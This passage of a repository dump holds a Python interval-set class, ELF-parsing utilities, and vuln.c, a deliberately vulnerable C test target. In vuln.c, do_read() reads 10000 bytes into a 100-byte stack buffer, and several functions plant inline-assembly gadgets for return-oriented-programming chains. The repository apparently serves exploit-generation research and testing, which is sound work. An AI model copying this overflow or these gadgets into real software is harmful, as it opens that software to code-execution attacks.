_Infinity()\nNEGATIVE_INFINITY = _NegativeInfinity()\n\nclass RangeSet(_parent):\n    def __new__(cls, start, end):\n        if end is _RAW_ENDS:\n            ends = start\n        else:\n            if isinstance(start, _Indeterminate) and isinstance(end, _Indeterminate) and \\\n                    start == end:\n                raise LogicError(\"A range cannot consist of a single end the line.\")\n            if start > end:\n                start, end = end, start\n            ends = ((start, _START), (end, _END))\n        return _parent.__new__(cls, ends)\n\n    def __merged_ends(self, *others):\n        sorted_ends = list(self.ends)\n        for other in others:\n            sorted_ends.extend(RangeSet.__coerce(other).ends)\n        sorted_ends.sort()\n        return sorted_ends\n\n    @classmethod\n    def __coerce(cls, value):\n        if isinstance(value, RangeSet):\n            return value\n        elif isinstance(value, tuple) and len(value) == 2:\n            return cls(value[0], value[1])\n        else:\n            return cls.mutual_union(*[(x, x) for x in value])\n\n    @classmethod\n    def __iterate_state(cls, ends):\n        state = 0\n        for _, end in ends:\n            if end == _START:\n                state += 1\n            else:\n                state -= 1\n            yield _, end, state\n\n    def __or__(self, *other):\n        sorted_ends = self.__merged_ends(*other)\n        new_ends = []\n        for _, end, state in RangeSet.__iterate_state(sorted_ends):\n            if state > 1 and end == _START:\n                continue\n            elif state > 0 and end == _END:\n                continue\n            new_ends.append((_, end))\n        return RangeSet(tuple(new_ends), _RAW_ENDS)\n\n    union = __or__\n\n    def __and__(self, *other, **kwargs):\n        min_overlap = kwargs.pop('minimum', 2)\n        if kwargs:\n            raise ValueError(\"kwargs is not empty: {0}\".format(kwargs))\n        sorted_ends = self.__merged_ends(*other)\n        new_ends = []\n        for _, end, state in RangeSet.__iterate_state(sorted_ends):\n            if state == min_overlap and end == _START:\n                new_ends.append((_, end))\n            elif state == (min_overlap - 1) and end == _END:\n                new_ends.append((_, end))\n        return RangeSet(tuple(new_ends), _RAW_ENDS)\n\n    intersect = __and__\n\n    def __ror__(self, other):\n        return self.__or__(other)\n\n    def __rand__(self, other):\n        return self.__and__(other)\n\n    def __rxor__(self, other):\n        return self.__xor__(other)\n\n    def __xor__(self, *other):\n        sorted_ends = self.__merged_ends(*other)\n        new_ends = []\n        old_val = None\n        for _, end, state in RangeSet.__iterate_state(sorted_ends):\n            if state == 2 and end == _START:\n                new_ends.append((_, _NEGATE[end]))\n            elif state == 1 and end == _END:\n                new_ends.append((_, _NEGATE[end]))\n            elif state == 1 and end == _START:\n                new_ends.append((_, end))\n            elif state == 0 and end == _END:\n                new_ends.append((_, end))\n        return RangeSet(tuple(new_ends), _RAW_ENDS)\n\n    symmetric_difference = __xor__\n\n    def __contains__(self, test):\n        last_val, last_end = None, None\n        if not self.ends:\n            return False\n        if isinstance(test, _Indeterminate):\n            return False\n        for _, end, state in RangeSet.__iterate_state(self.ends):\n            if _ == test:\n                return True\n            elif last_val is not None and _ > test:\n                return last_end == _START\n            elif _ > test:\n                return False\n            last_val, last_end = _, end\n        return self.ends[-1][0] == test\n\n    def issuperset(self, test):\n        if isinstance(test, RangeSet):\n            rangeset = test\n        else:\n            rangeset = RangeSet.__coerce(test)\n        difference = rangeset - ~self\n        return difference == rangeset\n\n    __ge__ = issuperset\n\n    def __gt__(self, other):\n        return self != other and self >= other\n\n    def issubset(self, other):\n        return RangeSet.__coerce(other).issuperset(self)\n\n    __le__ = issubset\n\n    def __lt__(self, other):\n        return self != other and self <= other\n\n    def isdisjoint(self, other):\n        return not bool(self & other)\n\n    def __nonzero__(self):\n        return bool(self.ends)\n\n    def __invert__(self):\n        if not self.ends:\n            new_ends = ((NEGATIVE_INFINITY, _START),\n                        (INFINITY, _END))\n            return RangeSet(new_ends, _RAW_ENDS)\n        new_ends = list(self.ends)\n        head, tail = [], []\n        if new_ends[0][0] == NEGATIVE_INFINITY:\n            new_ends.pop(0)\n        else:\n            head = [(NEGATIVE_INFINITY, _START)]\n        if new_ends[-1][0] == INFINITY:\n            new_ends.pop(-1)\n        else:\n            tail = [(INFINITY, _END)]\n        for i, value in enumerate(new_ends):\n            new_ends[i] = (value[0], _NEGATE[value[1]])\n        return RangeSet(tuple(head + new_ends + tail), _RAW_ENDS)\n\n\n    invert = __invert__\n\n    def __sub__(self, other):\n        return self & ~RangeSet.__coerce(other)\n\n    def difference(self, other):\n        return self.__sub__(other)\n\n    def __rsub__(self, other):\n        return RangeSet.__coerce(other) - self\n\n    def measure(self):\n        if not self.ends:\n            return 0\n        if isinstance(self.ends[0][0], _Indeterminate) or isinstance(self.ends[-1][0], _Indeterminate):\n            raise ValueError(\"Cannot compute range with unlimited bounds.\")\n        return reduce(operator.add, (self.ends[i + 1][0] - self.ends[i][0] for i in range(0, len(self.ends), 2)))\n\n    def range(self):\n        if not self.ends:\n            return 0\n        if isinstance(self.ends[0][0], _Indeterminate) or isinstance(self.ends[-1][0], _Indeterminate):\n            raise ValueError(\"Cannot compute range with unlimited bounds.\")\n        return self.ends[-1][0] - self.ends[0][0]\n\n    def __str__(self):\n        pieces = [\"{0} -- {1}\".format(self.ends[i][0], self.ends[i + 1][0])\n                                    for i in range(0, len(self.ends), 2)]\n        return \"<RangeSet {0}>\".format(\", \".join(pieces))\n\n    __repr__ = __str__\n\n    def __eq__(self, other):\n        if self is other:\n            return True\n        elif not isinstance(other, RangeSet):\n            try:\n                other = RangeSet.__coerce(other)\n            except TypeError:\n                return False\n        return self.ends == other.ends\n\n    def __ne__(self, other):\n        return not self.__eq__(other)\n\n    def __hash__(self):\n        return hash(self.ends)\n\n    @classmethod\n    def mutual_overlaps(cls, *ranges, **kwargs):\n        minimum = kwargs.pop('minimum', 2)\n        if kwargs:\n            raise ValueError(\"kwargs is not empty: {0}\".format(kwargs))\n        return cls.__coerce(ranges[0]).intersect(*ranges[1:], minimum=minimum)\n\n    @classmethod\n    def mutual_union(cls, *ranges):\n        return cls.__coerce(ranges[0]).union(*ranges[1:])\n\n    @property\n    def min(self):\n        return self.ends[0][0]\n\n    @property\n    def max(self):\n        return self.ends[-1][0]\n\n    def __iter__(self):\n        ends_copy = list(self.ends)\n        for i in range(0, len(ends_copy), 2):\n            yield (ends_copy[i][0], ends_copy[i + 1][0])\n\n_START = -1\n_END = 1\n\n_NEGATE = {_START: _END, _END: _START}\n\n_RAW_ENDS = object()\n\n\nclass LogicError(ValueError):\n    pass\n"
  },
  {
    "path": "utils.py",
    "content": "import itertools\nimport sys\n\nverbose = False\n\ndef align(address, base, of):\n    offset = (address - base) % of\n    return address if offset == 0 else address + of - offset\n\ndef hex_bytes(string):\n    return \"\".join(map(lambda x: chr(int(x, 16)), filter(len, string.split(\" \"))))\n\ndef findall(sub, string, addend):\n    index = 0 - 1\n    try:\n        while True:\n            index = string.index(sub, index + 1)\n            yield index + addend\n    except ValueError:\n        pass\n\ndef find_all_strings(sections, string):\n    result = [list(findall(string, section.data(), section.header.p_vaddr)) for section in sections if string in section.data()]\n    return sum(result, [])\n\ndef find_string(sections, string):\n    result = [section.header.p_vaddr + section.data().index(string) for section in sections if string in section.data()]\n    return first_or_none(result)\n\ndef first_or_none(list):\n    return list[0] if len(list) > 0 else None\n\ndef log(string):\n    if verbose:\n        sys.stderr.write(string + \"\\n\")\n\ndef chunks(l, n):\n    for i in xrange(0, len(l), n):\n        yield l[i:i+n]\n\ndef integer_to_bigendian(n):\n    s = '%x' % n\n    if len(s) & 1:\n        s = '0' + s\n    return s.decode('hex')\n\ndef bigendian_to_integer(string):\n    return string.encode(\"hex\")\n\ndef pairwise(iterable):\n    \"s -> (s0,s1), (s1,s2), (s2, s3), ...\"\n    a, b = itertools.tee(iterable)\n    next(b, None)\n    return itertools.izip(a, b)\n\ndef filter_none(list):\n    return filter(lambda entry: entry is not None, list)\n\ndef insert_and_replace(original, insert, offset):\n    return original[:offset] + insert + original[offset + len(insert):]\n"
  },
  {
    "path": "vuln.c",
    "content": "// Don't include unistd.h otherwise a secure version of read will be used\n// #include <unistd.h>\n\n// #include <alloca.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <stdint.h>\n\n#if !defined(__x86_64__) && !defined(__i386__)\n#  error \"Unsupported architecture\"\n#endif\n\nchar put_me_in_bss[1024] = {0};\n\nint play_with_stack(int i) {\n  int *local = alloca(10);\n  local[0] = 123;\n  intptr_t memcpy_ptr = (intptr_t) memcpy;\n\n  return local[i] + memcpy_ptr;\n}\n\nvoid add(int *a, int b) {\n  *a += b;\n}\n\nvoid mem_to_mem(int *dst, int *src) {\n  *dst = *src;\n}\n\nvoid writemem(void **in, void *val) {\n  *in = val;\n}\n\nint do_read() {\n  char buffer[100];\n  read(0, buffer, 10000);\n}\n\nvoid deref_and_write_with_offset() {\n#if defined(__x86_64__)\n  __asm__(\"pop rax; pop rbx; pop rcx; mov rax,QWORD PTR [rax]; mov QWORD PTR [rax+rcx*1],rbx; ret;\");\n#elif defined(__i386__)\n  __asm__(\"pop eax; pop ebx; pop ecx; mov eax,DWORD PTR [eax]; mov DWORD PTR [eax+ecx*1],ebx; ret;\");\n#endif\n}\n\nvoid deref_with_offset_and_save() {\n#if defined(__x86_64__)\n  __asm__(\"pop rax; pop rbx; pop rcx; mov rax, [rax]; mov rax,QWORD PTR [rax+rbx]; mov QWORD PTR [rcx],rax; ret;\");\n#elif defined(__i386__)\n  __asm__(\"pop eax; pop ebx; pop ecx; mov eax, [eax]; mov eax,DWORD PTR [eax+ebx]; mov DWORD PTR [ecx],eax; ret;\");\n#endif\n}\n\nvoid copy_to_stack() {\n#if defined(__x86_64__)\n  __asm__(\"pop rbx; pop rcx; mov rbx, QWORD PTR [rbx]; mov QWORD PTR [rsp+rcx*1],rbx; ret;\");\n#elif defined(__i386__)\n  __asm__(\"pop ebx; pop ecx; mov ebx, DWORD PTR [ebx]; mov DWORD PTR [esp+ecx*1],ebx; ret;\");\n#endif\n}\n\nvoid load_memcpy() {\n#if defined(__x86_64__)\n  __asm__(\"pop rsi; add rsi,rsp; ret;\");\n  __asm__(\"pop rax; add rsp,rax; ret;\");\n#elif defined(__i386__)\n  __asm__(\"pop eax; pop esi; add esi,esp; mov DWORD PTR [esp+eax], esi; ret;\");\n  __asm__(\"pop ebx; add esp,ebx; ret;\");\n#endif\n}\n\nvoid args() {\n#if defined(__x86_64__)\n  __asm__(\"pop rdi; pop rsi; pop rdx; ret;\");\n#endif\n}\n\nint main() {\n  do_read();\n}\n"
  }
]